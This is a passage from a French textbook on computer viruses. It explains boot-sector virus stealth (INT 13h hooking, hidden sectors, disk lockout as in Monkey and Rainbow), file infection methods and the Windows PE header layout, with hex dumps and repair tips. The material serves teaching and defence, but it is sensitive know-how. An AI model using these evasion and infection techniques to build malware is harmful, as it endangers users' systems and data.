00000000: EA 05 00 C0 07 EB 37 0E – 00 80 00 07 50 1F FB FC ......7.....P..00000010: BF 00 06 B9 00 01 F2 A5 – EA 1D 06 00 00 BE BE 07 ................00000020: B3 04 80 3C 80 74 0E 80 – 3C 00 75 1C 83 C6 10 FE ...<.t..<.u.....00000030: CB 75 EF CD 18 8B 14 8B – 4C 02 8B EE 83 C6 BB 00 .u......L.......00000040: 7C 31 C0 8E D0 89 DC 8E – D8 89 C7 A1 13 04 2D 02 |1............-.00000050: 00 90 B1 06 A3 13 04 D3 – E0 8E C0 A1 6C 04 80 FC ............l...00000060: 0A 72 0C 24 1F 75 08 B8 – ED 0E 40 CD 10 EB F8 80 [email protected]: C4 06 26 88 26 C6 01 89 – DE E8 36 00 BE 70 00 A5 ..&.&.....6..p..00000080: A5 FA C7 06 70 00 2F 01 – 8C 06 72 00 FB B8 93 00 ....p./...r.....00000090: 06 50 CB 1E 53 1E 07 8B – 4F 07 8B 57 09 80 E2 80 .P..S...O..W....000000A0: B8 01 02 CD 13 72 C0 80 – FA 80 74 05 B2 80 E8 13 .....r....t.....

000001B0: 00 F8 03 00 01 FD 0F 00 – 01 F0 05 00 01 F9 80 01 ................000001C0: 01 00 06 FE 7F 04 3F 00 – 00 00 86 FA 3F 00 00 00 .... .?.....?...000001D0: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................000001E0: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 00 ................000001F0: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 55 AA ..............U.

PAGET_Ch04 Page 150 Lundi, 11. avril 2005 5:24 17

151©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it4.5 Techniques avancées

Forçant ainsi le démarrage sur le disque C:, il interdit l’utilisation d’une disquettesaine, et donc d’un anti-virus. La solution la mieux adaptée pour restaurer la configu-ration nécessite d’atteindre le SETUP de la machine pour y réactiver le lecteur.

4.5.2 Furtivité

Pour le virus, il s’agit de se dissimuler aux yeux de l’anti-virus comme à ceux del’utilisateur. La furtivité peut se traduire par :

• L’interception des requêtes en lecture du secteur infecté afin de retourner lecontenu du secteur original au programme appelant. En milieu infectieux, si lafonction 02h de l’interruption 13h est détournée, le virus sera à même dedissimuler sa présence. Si la demande de lecture concerne un secteur où setrouve localisé le virus, celui ci renverra une image saine provenant du secteursauvegardé.

• L’exécution d’un redémarrage à chaud (via l’interruption 19h) alors qu’unredémarrage à froid est demandé (saut vers FFFFh:0000h).

• L’interception des requêtes en écriture vers le secteur infecté. Celles-ci seproduisent mais la réinfection est immédiate. FDISK /MBR1 est, par exemple,rendu inefficace.

• L’interdiction de lecture de certains secteurs (détournement des interruptions0Eh et 76h).

• L’interception des requêtes d’affichage de l’état de la mémoire afin qu’unecommande telle que CHKDSK retourne une taille mémoire totale disponiblemaximale (généralement 655.360 octets).

• L’installation du code dans une zone immédiatement supérieure à la barrièredes 640 Ko. Cette technique fut utilisée par EDV. Là aussi, CHKDSKretourne la valeur standard.

4.5.3 Inaccessibilité au disque

Interdire l’accès au disque depuis un environnement sain est, on l’imagine, l’un desconcepts les plus recherché par les auteurs de virus. Il y a pour cela diversesméthodes.

Certains virus ne conservent pas l’espace dédié à la table de partition. Cettetechnique rend l’accès impossible au disque après un démarrage sur une disquettesaine. Une tentative d’accès sur le disque C: renvoie un message signalant l’absencede disque.

Dans ce cas, la table est reconstituée en mémoire lors d’un démarrage en envi-ronnement contaminé.

1. Le programme FDISK est dédié à la configuration des disques durs. Lancé avec l’option /MBR ilpermet la réécriture du programme d’amorce sans toucher à la table des partitions.

PAGET_Ch04 Page 151 Lundi, 11. avril 2005 5:24 17

152 Chapitre 4. Les virus système

Face à cette situation, il est tentant de lancer un formatage bas niveau du disque.Toutes ces manipulations qui entraînent de facto la perte des données sont bien évi-demment inadaptées. La restauration de quelques octets grâce à l’utilisation d’unéditeur hexadécimal offrant un accès en mode physique sur le disque résout sansdélai le problème.

L’un des virus utilisant ce procédé date d’octobre 1992 : c’est Monkey. Le secteurdes partitions est intégralement écrasé. Une copie du secteur original est sauvegar-dée sur le troisième secteur physique du disque. Tout comme le reste du secteur, latable des partitions n’a cependant pas la physionomie habituelle.

Figure 4.19 — Physionomie d’une table de partition après infection par Monkey

Une étude attentive du secteur démontre que chaque octet a été crypté par unefonction XOR dont la clé est 2Eh. L’éradication manuelle consiste alors à atteindrele disque en mode physique et à transférer vers le premier secteur, les donnéesdécryptées présentes dans le troisième.

Un autre virus, Rainbow, est beaucoup plus pénalisant. Une fois le disque infecté,il n’est plus possible de l’atteindre, aussi bien en mode logique qu’en mode physique.Le processus de BOOT depuis une disquette saine n’aboutit jamais1.

Seuls 25 octets du secteur des partitions sont modifiés. Le reste du code viral estécrit dans 5 autres secteurs. Les 16 octets relatifs à la partition active sont sauvegar-dés dans le code complémentaire (secteur 6, offset 132h)2 et remplacés par laséquence :

00 00 01 00 05 00 B8 0B 00 00 00 00 BC 01 00 00

***********************1 secteur sélectionné

***********************..000001B0: 2E 2E 2E 2E 2E 2E 2E 2E – 2E 2E 2E 2E 2E 2E AE 2F .............../000001C0: 2F 2E 28 D0 51 2A 11 2E – 2E 2E A8 D4 11 2E 2E 2E /.(.Q*..........000001D0: 2E 2E 2E 2E 2E 2E 2E 2E – 2E 2E 2E 2E 2E 2E 2E 2E ................000001E0: 2E 2E 2E 2E 2E 2E 2E 2E – 2E 2E 2E 2E 2E 2E 2E 2E ................000001F0: 2E 2E 2E 2E 2E 2E 2E 2E – 2E 2E 2E 2E 2E 2E 7B 84 ..............{.

nota : cryptage XOR2Eh XOR 2Eh = 00hAEh XOR 2Eh = 80h (offset 1BEh)2Fh XOR 2Eh = 01h (offset 1BFh)

1. Le virus est multipartite et non crypté. Il contient le message :HiAnMiT – roy g biv *4U2NV* 04/12/94Roy g biv est l’acronyme des couleurs de l’arc-en-ciel : Red Orange Yellow Green Blue Indigo Violent.4U2NV peut se lire For you to envy.2. KAMINSKY Jakub (1995), Rainbow : To Envy or to Hate, Virus Bulletin, septembre 1995,pp12-13.

PAGET_Ch04 Page 152 Lundi, 11. avril 2005 5:24 17

153©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it4.5 Techniques avancées

Cette séquence est interprétée par le système d’exploitation comme étant rela-tive à une partition DOS étendue non-active :

• Démarrant en cylindre 0, tête 0, secteur 1.• Se terminant en cylindre 523, tête 0, secteur 56.• Démarrant au niveau du premier secteur physique du disque.• Contenant 444 secteurs.

L’information importante est l’adresse du premier secteur qui se trouve être à lafois défini comme secteur de partition et de démarrage. On a alors affaire à une par-tition récursive que le DOS, depuis la version 5, ne sait gérer.

Il s’agit bien d’un bogue qui avait été mis à jour 2 ans plus tôt par Mike Lambert& Charlie Moore1. Rapidement corrigé par IBM dès la version PCDOS 6.1, Micro-soft fit la sourde oreille laissant son fichier IO.SYS vulnérable avec les versions sui-vantes de MS-DOS.

Les solutions pour atteindre un disque dur infecté sont les suivantes :

• Démarrer avec un MS-DOS plus ancien (v3.3 ou V4.01).• Démarrer avec un DOS IBM récent (PCDOS 6.1 et supérieur).• Modifier le fichier IO.SYS2.

4.5.4 Utilisation de secteurs supplémentaires

La taille de nombreux virus système dépasse 512 octets. Ils doivent donc positionnerle secteur d’origine et leur code complémentaire dans une zone protégée. Plusieurssolutions sont possibles :

• Quelque part sur le cylindre 0 des disques durs (exemple : Jumper.B infectantun disque dur ).

• Sur le ou les derniers secteurs du répertoire racine (exemple : Jumper.B infec-tant une disquette).

• Dans un ou plusieurs secteurs déclarés mauvais (exemple : Form infectant unedisquette).

• Sur les derniers secteurs du disque (exemple : Form infectant un disque dur).

Une solution plus rarement rencontrée a été imaginée par l’auteur de Den Zuko.Elle fut ensuite reprise dans des virus plus récents tels que Stoned-Spirit. Une dis-quette contient normalement 40 ou 80 cylindres. Sur nos disquettes actuelles, ilssont numérotés de 0 à 79. Il est cependant possible de formater un cylindresupplémentaire ; ce sera ici le cylindre 80. Il n’est pas accessible par les utilitairesDOS ; mais un virus au travers de l’interruption 13h en est parfaitement capable.

1. LAMBERT Mike, 1995, Circular Extended Partitions : Round and Round with DOS, Virus Bulle-tin, septembre 1995, pp 14-15.2. Chercher la chaîne 07h 72h 03h (offset 2918h) et la remplacer par 07h 72h 06h.

PAGET_Ch04 Page 153 Lundi, 11. avril 2005 5:24 17

154 Chapitre 4. Les virus système

4.5.5 Non-sauvegarde du secteur d’origine

Cette technique employée par plusieurs virus (exemple Anticmos) n’a rien de specta-culaire. Elle peut simplement être pénalisante pour les puristes qui ne pourront récu-pérer le secteur original et le restituer. De manière automatique ou manuelle, ilfaudra utiliser une sauvegarde ou créer de toute pièce un nouveau secteur.

4.5.6 Multipartisme

Un virus multipartite (certains utilisent le terme de bivalent) cherche à infecter leszones systèmes des disques durs ou des disquettes et les fichiers exécutables. Selondes critères propres à chaque virus, l’une ou l’autre des techniques d’infection estmise en œuvre à un instant donné. Le but recherché est une plus grande propaga-tion.

Parmi les virus multipartites, citons : Flip, Tequila, One_Half.

4.5.7 Polymorphie

Les virus système polymorphiques sont très peu nombreux. L’un d’entre eux, Molochest apparu au printemps 1996. Un message, crypté dans le code indique :

OH-MY-GOD! Moloch (tm) is here!Moloch is a trademark of SquiBoyz

Le code complémentaire, crypté, est positionné sur les secteurs 3,4 et 5 du disquedur. Sur les disquettes, le virus crée un 80ème cylindre selon la technique explicitéplus avant dans le chapitre. De même, le virus cherche à modifier la CMOS afind’interdire le démarrage A: avant C:.

La loi liée au moteur polymorphique est simple ; mais modifiant peu d’octets dansle secteur de démarrage, la détection s’en trouve malaisée. Moloch interverti les ins-tructions de déplacements entre registres et mémoire. Il le fait tantôt octet par octet,tantôt mot par mot.

4.6 SPÉCIFICITÉ DES OS

Quelque soit le système d’exploitation, un virus système reste dangereux :

• Sous DOS et en mode 16 bits de Windows : le virus utilisera toutes ses facul-tés de propagation et de dommages éventuels.

• Au démarrage de Windows 95/98, le système recherche et examine où pointel’interruption 13h. – Si elle pointe vers le BIOS (adresse > A000h), le mode 32 bits est autorisé

au cours du démarrage.

PAGET_Ch04 Page 154 Lundi, 11. avril 2005 5:24 17

155©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it4.6 Spécificité des OS

– Si l’INT 13h pointe en RAM, les pilotes 32 bits ne seront pas chargés et unvirus système conservera généralement ses capacités de reproduction sur lesdisquettes qui lui seront présentées.

• En mode 32 bits de Windows : le virus s’implantera généralement sur lamachine. Il n’y aura pas de propagation vers les disquettes. Si une action diffé-rée en écriture est programmée, elle se déroulera sans problème dans la mesureou elle s’opère alors que l’ordinateur travaille toujours en mode réel. Un virusinitialisant un compteur pour écraser une série de secteurs après un nombredéfini de démarrage est donc à redouter.

• En environnement NTFS ou non-Windows : dans de rares cas, le virus secomportera comme précédemment. Plus généralement, il risque d’écraser dessecteurs vitaux lors de sa tentative d’infection du disque. Il en résultera unéchec au démarrage. Sans l’intervention d’un spécialiste, le disque devra biensouvent être reformaté.

PAGET_Ch04 Page 155 Lundi, 11. avril 2005 5:24 17

PAGET_Ch04 Page 156 Lundi, 11. avril 2005 5:24 17

5

Les virus programme

Apparus peu de temps après les virus système, les virus programme sont longtempsrestés – à quelques exceptions près – confinés dans les collections. Les échangesd’exécutables d’un utilisateur à l’autre restaient trop peu fréquents. Si certainsd’entre eux ont atteint une véritable notoriété c’est qu’ils furent malencontreuse-ment diffusés sur des CD-ROM commerciaux.

Nous allons débuter ce chapitre en décrivant les diverses méthodes d’infection.Nous n’aborderons pas dans le détail la description des virus d’ancienne génération ;ceux fonctionnant en environnement DOS. Nous privilégierons les pratiquesactuelles.

Plus technique que les autres, cette partie pourrait effrayer certains lecteurs. Pourcomprendre les virus système, nous avons dû comprendre la mise en marche d’unordinateur. Une même démarche doit s’appliquer aux virus programme : pour lescomprendre, il faut se pencher préalablement sur la structure des exécutables 32 bits.Pour rendre plus compréhensif cette seconde partie, de nombreuses images de codeen mode hexadécimal vous sont proposées.

Seul sur sa machine, le virus programme reste une menace de faible poids, maisassocié à la technique du ver, il devient la principale origine de nos soucis actuels.

5.1 MODES D’INFECTION

Les virus programme cherchent à infecter les exécutables binaires compilés.Plusieurs méthodes sont à leur disposition.

PAGET_Ch05 Page 157 Lundi, 11. avril 2005 5:24 17

158 Chapitre 5. Les virus programme

Figure 5.1

Virus programme

5.1.1 Recouvrement

Un virus par recouvrement se contente d’écraser partiellement ou en totalité, leprogramme qu’il infecte. En conséquence, il le détériore et rend sa restitution impos-sible par l’anti-virus. Dans certains cas, la taille du programme infecté n’est pasmodifiée ; dans les cas contraires, celle ci s’ajuste à la taille du code viral et devientidentique pour tout fichier infecté.

La destruction, même partielle, du code originel fait que celui-ci ne peut plusfonctionner correctement et seul le code viral s’exécute.

Ces virus ne sont généralement pas résidents en mémoire. Le logiciel ne réalisantpas la fonction souhaitée, l’utilisateur les détecte rapidement. Les virus agissant parrecouvrement ne réussissent jamais à se disséminer largement.

Un fichier infecté selon cette méthode ne peut qu’être effacé et remplacé par sonoriginal sain dans le cas où une sauvegarde existe.

À titre d’exemples, citons dans cette famille :

BadGuy

: Les 264 premiers octets des fichiers

COM

du sous-répertoirecourant sont tous écrasés.

W32/HLL.ow.ANT.A

: Les exécutables sont remplacés par le code du virus.Tous les fichiers ont ensuite une taille identique 14.848 octets ; c’est la tailledu virus.

W32/HLL.ow.Jetto

: La taille du virus est de 7170 octets. Les 7170 premiersoctets de chaque fichier sont écrasés par le code du virus. La suite des fichiersest inchangée, ceux ci gardent leur taille d’origine.

LINUX/Radix.ow

: Il fonctionne selon la méthode précédente mais en envi-ronnement LINUX.

On retrouve cette technique d’infection par recouvrement dans d’autres famillesvirales :

VBS/Entice.ow

est un virus VBScript qui agit selon cette méthode.

PAGET_Ch05 Page 158 Lundi, 11. avril 2005 5:24 17

159

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

5.1 Modes d’infection

Figure 5.2

Infection par recouvrement, le virus écrase toutou partie du code du programme hôte

5.1.2 Ajout

Un virus par ajout modifie sa cible sans la détruire. À chaque lancement, le viruss’exécute tout en préservant les fonctionnalités normales du programme. Il estpossible de considérer le virus comme une sous-routine supplémentaire qui s’exécutediscrètement à un moment donné puis

rend la main

au programme légitime qui pour-suit sa marche normale.

La taille du programme est augmentée de la taille du virus. Certains élémentsvitaux indispensables au bon fonctionnement du programme initial sont déplacés,sauvegardés et modifiés. La restitution d’un original sain consiste à inverser le pro-cessus d’infection en restituant les valeurs originales avant l’élimination du codeparasite qui, entre autres, les contient.

Le code viral s’exécute généralement en premier. Plusieurs cas sontenvisageables :

• Les registres de segment et d’offset (

CS:IP

et

SS:SP

) des programmes DOS/EXE sont modifiés pour pointer sur le code viral.

• L’adresse du point d’entrée des programmes 32 bits est modifiée pour pointersur le code viral.

• L’adresse du début de programme est inchangée, mais celui-ci débute par uneou plusieurs instructions se concluant par un saut vers le code viral.

Dans le cas de la technologie dite du

point d’entrée obscur

, le point d’entrée duprogramme et les instructions qui s’y situent sont inchangés. Le virus positionne sonsaut dans un endroit quelconque – mais soigneusement choisi – du code de l’hôte.Cette technique est très pénalisante pour les anti-virus qui doivent élargir fortementleur zone de recherche.

PAGET_Ch05 Page 159 Lundi, 11. avril 2005 5:24 17

160 Chapitre 5. Les virus programme

Figure 5.3

— Infection par ajout

Le positionnement physique du code viral permet de préciser des sous-familles ausein de la méthode :

• Positionnement physique à l’avant. La terminologie anglaise utilise le termede

prepender

.• Positionnement physique à l’arrière. La terminologie anglaise utilise le terme

d’

appender

.• Positionnement physique central ou dispersé.

La majorité des virus programmes infectent par ajout. Citons pour l’exemple :

Jerusalem.1813

: La taille des fichiers COM augmente de 1813 octets avec unpositionnement physique à l’avant. Cinq octets sont également ajoutés en finde fichier. Il s’agit de la signature du virus. Les

EXE

(DOS) grossissent de1808 octets avec un positionnement à l’arrière. Les registres de segment etd’offset sont modifiés pour faire pointer le début du programme vers cetendroit.

Figure 5.4

Infection par ajout (exemple de

Jerusalem

)

PAGET_Ch05 Page 160 Lundi, 11. avril 2005 5:24 17

161

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

5.1 Modes d’infection

Cascade.1701

: Les fichiers

COM

, y compris le COMMAND.COM, augmen-tent en taille de 1701 octets. Le saut initial est modifié pour faire pointer ledébut du programme sur le code viral.

Figure 5.5

Infection par ajout (exemple de

Cascade

)

W95/Anxiety.1596

: Les fichiers

EXE

(PE) infectés voient leur taille augmen-ter de 1596 octets. Le point d’entrée est modifié pour se rediriger sur le codeviral. Comme nous le verrons plus loin, d’autres paramètres situés dans leszones de l’entête sont aussi modifiés pour conserver une intégrité de structure.

Figure 5.6

Infection par ajout (exemple de

W95/Anxiety

)

W32/Chiton.A :

Ce virus datant de 2002 se positionne dans une zone qu’ils’aménage à l’intérieur du fichier qu’il infecte. Une partie du fichier sain seretrouve décalée vers la fin du fichier. Comme dans le cas précédent, le pointd’entrée est modifié.

PAGET_Ch05 Page 161 Lundi, 11. avril 2005 5:24 17

162 Chapitre 5. Les virus programme

Figure 5.7

Infection par ajout (exemple de

W32/Chiton.A

)

One_Half

: Ce virus fait parti des virus les plus vicieux de la famille. Le codeviral se positionne à l’arrière ; mais, pour l’atteindre, il faut suivre toute unesérie d’instructions et de sauts que le virus dissémine à une dizaine d’endroitsdistincts. De tailles variables et totalement polymorphes, ces fractions de coderendent la détection et l’éradication difficiles : il faudra les suivre pour espérerdécrypter le virus, puis, à chaque fois, restaurer le code original que le virus adéplacé.

Figure 5.8

Infection par ajout (exemple de

One_Half.3544

)

5.1.3 Infection par cavité simple

Pour un virus, l’infection par cavité consiste à positionner son code dans une ouplusieurs zones inutilisées du programme qu’il cherche à infecter. La conséquenced’une telle infection est la conservation de la taille du fichier.

Par le passé, le fichier

COMMAND.COM

fut la cible privilégiée et les virus decette famille étaient aussi dénommés

virus par entrelacement

. Citons par exemple

Lehigh

. Il ciblait exclusivement le

COMMAND.COM

.

PAGET_Ch05 Page 162 Lundi, 11. avril 2005 5:24 17

163

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

5.1 Modes d’infection

Pour le virus, la méthode la plus simple consiste à rechercher dans les fichiersqu’il rencontre des espaces suffisamment grands pour permettre l’accueil de l’ensem-ble du code viral. On parle alors d’infection par cavité simple.

Aujourd’hui la structure des fichiers 32 bits a permis un développement de cettetechnique. De nombreuses zones contiennent des espaces libres de code. Avec levirus

W32/Caw

(année 2000), l’ensemble du code est positionné en fin de fichierlorsqu’il rencontre un espace suffisant pouvant l’accueillir.

Figure 5.9

Infection par cavité simple

5.1.4 Infection par fractionnement

Cette technique se rapproche souvent de l’infection par cavité. C’est le cas lorsquele virus en utilise une série d’entre elles en positionnant des sauts lui permettant dechaîner l’exécution de son code d’une cavité vers la suivante.

Figure 5.10

Infection par fractionnement

PAGET_Ch05 Page 163 Lundi, 11. avril 2005 5:24 17

164 Chapitre 5. Les virus programme

D’autres virus disséminent leur code en écrasant des zones utilisées. Les donnéesqui vont ainsi recouvrir sont préalablement sauvegardées selon un mode

par ajout

.

5.1.5 Délocalisés

Certains virus programmes placent leur code dans des secteurs inutilisés du disque.Dans ce cas, ils changent les paramètres des répertoires pour re-diriger le lancementdu programme vers le code viral. Celui ci rend ensuite la main au programme initial.Sans la moindre modification interne, l’ensemble des fichiers infectés possèdeensuite la même adresse (cluster) de départ.

Ces virus sont peu nombreux mais peuvent s’avérer dangereux pour l’intégritédes supports qu’ils infectent. En effet, les utilitaires testant l’intégrité d’un disquedécouvriront des anomalies (fichiers croisés) et se proposeront de les corriger enentraînant des destructions irrémédiables.

Figure 5.11

Virus délocalisé

5.1.6 Compagnons

Certains virus programmes placent leur code dans un fichier séparé qui, malgré uneextension différente, porte le même nom que le fichier cible. Il s’agit des viruscompagnons.

Il existe une préséance d’exécution pour les fichiers exécutables : les

BAT

puis les

COM

puis les

EXE

. Le virus compagnon va donc créer de toute pièce un fichier dumême nom que le programme qu’il cible. Il lui attribuera une extension différente etplus prioritaire. Si, lors de son appel à exécution, le nom seul est utilisé (ce qui estgénéralement le cas), ce sera le code viral qui s’exécutera en premier. Il donneraensuite la main au programme original pour ne pas risquer d’alerter l’utilisateur.

Pour durcir son éventuelle détection, certains virus placent leur code dans unautre répertoire, prioritaire au sein de la variable système

path

.

PAGET_Ch05 Page 164 Lundi, 11. avril 2005 5:24 17

165

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

5.2 L’environnement 32 bits

Figure 5.12

Exemple de virus compagnon

5.2 L’ENVIRONNEMENT 32 BITS

Pour le grand public, les systèmes 32 bits arrivent avec Windows-95/98. C’est unenvironnement multitâche où chaque tâche est indépendante. Lorsqu’un problèmesurvient dans l’exécution de l’une d’entre elles, le système est conçu pour ne pascompromettre le déroulement des autres tâches. Une couche logicielle

tampon

interdit théoriquement les échanges entre un programme et le système d’exploita-tion proprement dit.

Dans cet environnement, les fichiers COM tendent à disparaître alors que lastructure des EXE est totalement différente de ce qu’elle était. Le fonctionnementdes virus DOS reposait sur l’utilisation d’interruptions logicielles ou matérielles.Elles leurs font défaut ici et les anciens virus ne se reproduisent plus. La seule gêne selimite parfois à un plantage de la fenêtre DOS ou à un message d’erreur.

Le défi que présentait ce nouvel environnement était bien réel et les auteurs devirus se sont vite empressés de le relever.

Tout comme il nous a fallu survoler la structure physique d’un disque dur pourcomprendre les virus systèmes, nous allons maintenant découvrir celle des fichiersdits

W32-PE

. Nous pourrons ensuite appréhender les techniques de contamination.

Pour nous aider à assimiler cette partie technique, nous allons nous appuyer sur lastructure d’un fichier

appât

de 32 768 octets. Nous le nommerons

PE-32K.EXE

.Nous utiliserons quasi exclusivement la notation hexadécimale. Avec celle ci lataille du fichier s’écrit 8000h. Chaque chiffre en notation hexadécimale se terminepar la lettre « h ».

Divers documents décrivant ces fichiers sont disponibles sur Internet. Nous n’endécrirons ici que les éléments directement liés au fonctionnement des virus. Ladénomination internationale du nom constituant cette structure sera généralementconservée. Pour nombre d’entre eux, une traduction française sera néanmoins pro-posée. Ces dénominations proviennent généralement du document

Portable Execu-table Format

de Michael J. O’Leary

1

.

1. O’LEARY, Micheal J. (1998),

Portable Executable Format.

Document disponible à l’adresse :http://www.sf-soft.de/winhex/kb/ff/PE_EXE.txt.

PAGET_Ch05 Page 165 Lundi, 11. avril 2005 5:24 17

166 Chapitre 5. Les virus programme

Dans cet univers particulier, le lecteur ne devra pas hésiter à utiliser la calcula-trice qu’il a à sa disposition sur son ordinateur. Via le menu

affichage

, celle ci devraêtre configurée en mode scientifique.

Figure 5.13

— Interface scientifique de la calculatrice

5.2.1 Structure d’un fichier 32 bits

Tout fichier PE est organisé comme une succession linéaire de sections de données.

Figure 5.14

Structure d’un fichier 32 bits

PAGET_Ch05 Page 166 Lundi, 11. avril 2005 5:24 17

167

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

5.2 L’environnement 32 bits

En-tête MS-DOS

Afin de rester compatible avec les anciens programmes s’appuyant sur le DOS, ilcommence lui-même par une structure compatible qui s’en rapproche avec lesfameux caractères

MZ

.

00000000: 4D 5A 90 00 03 00 00 00 – 04 00 00 00 FF FF 00 00 MZ00000010: B8 00 00 00 00 00 00 00 –

40 00

00 00 00 00 00 0000000020: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000030: 00 00 00 00 00 00 00 00 – 00 00 00 00

80 00 00 00

Deux informations intéressantes sont ici disponibles (en gras).

Micro-programme mode réel

En anglais, Real-Mode Stub Program. Il s’agit d’un code qui, lorsqu’il est exécuté parle DOS, affiche généralement un court message avant de se terminer. Typiquement,le message est là pour indiquer une erreur quant au choix de la plate-forme de lance-ment, il s’apparente souvent au texte : This program cannot be run in DOS mode.

00000040: 0E 1F BA 0E 00 B4 09 CD – 21 B8 01 4C CD 21 54 68 .......!..L.!Th00000050: 69 73 20 70 72 6F 67 72 – 61 6D 20 63 61 6E 6E 6F is program canno00000060: 74 20 62 65 20 72 75 6E – 20 69 6E 20 44 4F 53 20 t be run in DOS 00000070: 6D 6F 64 65 2E 0D 0D 0A – 24 00 00 00 00 00 00 00 mode....$.......

Signature et en-tête PE

00000080: 50 45 00 00 (PE Signature) 4C 01 05 00 – 91 99 A0 34 00 00 00 00 PE00000090: 00 00 00 00 E0 00 0E 01 -

Les quatres premiers octets concernent la signature, ils définissent le type dufichier. Microsoft en donne la définition suivante :

0x454E // NE IMAGE_OS2_SIGNATURE0x454C // LE IMAGE_OS2_SIGNATURE_LE0x00004550 // PE00 IMAGE_NT_SIGNATURE

Tableau 5.1 — Quelques informations dans l’en-tête MS-DOS

OFFSETTAILLE (octets)

DÉSIGNATION

[MZ + 18h] 2 File Address of Relocation TableOffset de la Table de Re-AllocationSi cette valeur est égale ou supérieure à 40h, le programme estdédié à l’environnement Windows

[MZ + 3Ch] 4 File Address of New Exe HeaderOffset de l’Entête PEC’est uniquement au travers de cet offset que Windows déterminela validité de l’application qu’il tente de charger. Il charge la zonecible en mémoire pour y rechercher une signature valide. Cettezone se situe généralement après le Micro-Programme ModeRéel.

PAGET_Ch05 Page 167 Lundi, 11. avril 2005 5:24 17

168 Chapitre 5. Les virus programme

L’abréviation NE (New Executable) s’applique aux fichiers Windows 3.x, l’abré-viation LE à l’environnement OS/2 et à quelques VxD (Virtual Device Driver).

Les fichiers qui nous intéressent ici sont ceux dont la signature est PE (PortableExecutable). Ce sont les fichiers que nous rencontrons dans les environnementsWindows actuels. Citons parmi eux, ceux dont l’extension est : exe, dll, ocx, scr.

Après les 4h premiers octets de la signature se trouve l’entête PE. Sa taille est de14h octets.

L’offset repris dans la liste ci-dessous, puis dans les suivantes, est calculé depuis lasignature PE. Dans notre exemple, il se situe à l’adresse absolue 80h.

En-tête optionnelle

Optionnelle de par son intitulé, cette zone de donnée est indispensable au bon fonc-tionnement du fichier. Elle n’est donc absolument pas facultative. Elle débutetoujours par les octets : 010Bh et contient de nombreuses informations stratégiques.

00000090: – 0B 01 03 0A 00 2E 00 00000000A0: 00 60 00 00 00 00 00 00 – B0 11 00 00 00 10 00 00000000B0: 00 40 00 00 00 00 40 00 – 00 10 00 00 00 02 00 00000000C0: 04 00 00 00 00 00 00 00 – 04 00 00 00 00 00 00 00000000D0: 00 D0 00 00 00 04 00 00 – 00 00 00 00 03 00 00 00000000E0: 00 00 10 00 00 10 00 00 – 00 00 10 00 00 10 00 00000000F0: 00 00 00 00 10 00 00 00 – 00 00 00 00 00 00 00 0000000100: 00 B0 00 00 28 00 00 00 – 00 00 00 00 00 00 00 0000000110: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000120: 00 C0 00 00 20 03 00 00 – 00 00 00 00 00 00 00 0000000130: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000140: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000150: 00 00 00 00 00 00 00 00 – A8 B0 00 00 80 00 00 0000000160: 00 00 00 00 00 00 00 00 – 00 00 00 00 00 00 00 0000000170: 00 00 00 00 00 00 00 00 -

Tableau 5.2 — Quelques informations dans l’en-tête PE

OFFSETTAILLE (octet)

DÉSIGNATION

[PE] 4 Signature

[PE + 06h] 2 Nombre d’entrées dans la table des objetsIl s’agit du nombre de sections. Codé sur 2 octets, il est, dans notreexemple, égal à 0005h.

[PE + 08h] 4 Date et heure de créationDans notre exemple 34A09991h correspond au 24/12/199706 :11 :45

[PE + 14h] 4 PE Optional HeaderTaille de l’Entête PE OptionnelleDans notre exemple, sa valeur est 00E0h.

PAGET_Ch05 Page 168 Lundi, 11. avril 2005 5:24 17

169©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it5.2 L’environnement 32 bits

Dans le tableau suivant, comme tout au long de ce chapitre, nous allons fréquem-ment référencer des données relativement à l’Adresse de Base de l’Image (en anglais,Image Base). Pour ce faire, nous utiliserons le sigle RVA (Relative Virtual Address).Cette RVA est une valeur qui, additionnée à l’adresse physique, donne l’adresseréelle telle que l’on peut la lire grâce à un débuggeur ou à un désassembleur.

Dans notre exemple, le fichier est chargé à l’adresse 0x00400000h et son pointd’entrée est 0x11B0h. L’exécution démarre donc à RVA + 0x11B0h. En mémoire,l’adresse du point d’entrée de l’exécutable sera en 0x004011B0h. Si l’exécutableétait chargé en 0x01000000h (c’est le cas pour de nombreuses versions de la calcula-trice (CALC.EXE), le point d’entrée se situerait en 0x010011B0h.

Tableau 5.3 — Quelques informations dans l’en-tête optionnelle

OFFSETTAILLE (octet)

DÉSIGNATION

[PE + 28h] 4 EntryPoint RVAOffset du Point d’Entrée relatif à l’Adresse de Base de l’ImageDans notre exemple : 0x11B0h.Ce champ pointe sur la première instruction du programme. Celleci se trouve généralement dans la section .text. La plupart des virus modifient cette valeur afin de rediriger l’exécu-tion vers leur propre code. Elle cible alors souvent la dernière sec-tion.

[PE + 34h] 4 Image BaseAdresse de Base de l’ImageAdresse à laquelle est chargée l’image en mémoireAprès compilation, cette information prend souvent la valeur0x00400000h (c’est le cas de notre exemple).C’est l’adresse virtuelle du premier octet de l’image du fichier telqu’il a été chargé en mémoire par le système d’exploitation (on ytrouve le fameux MZ). L’image base est utilisée par le systèmed’exploitation avec les adresses RVA pour former l’adresse finaleen mémoire.

[PE + 38h] 4 Object AlignAlignement de l’ObjetTaille minimale qu’un objet (une section) peut occuper enmémoire. Cette valeur est couramment affichée à 4096 octets, soit1000h.

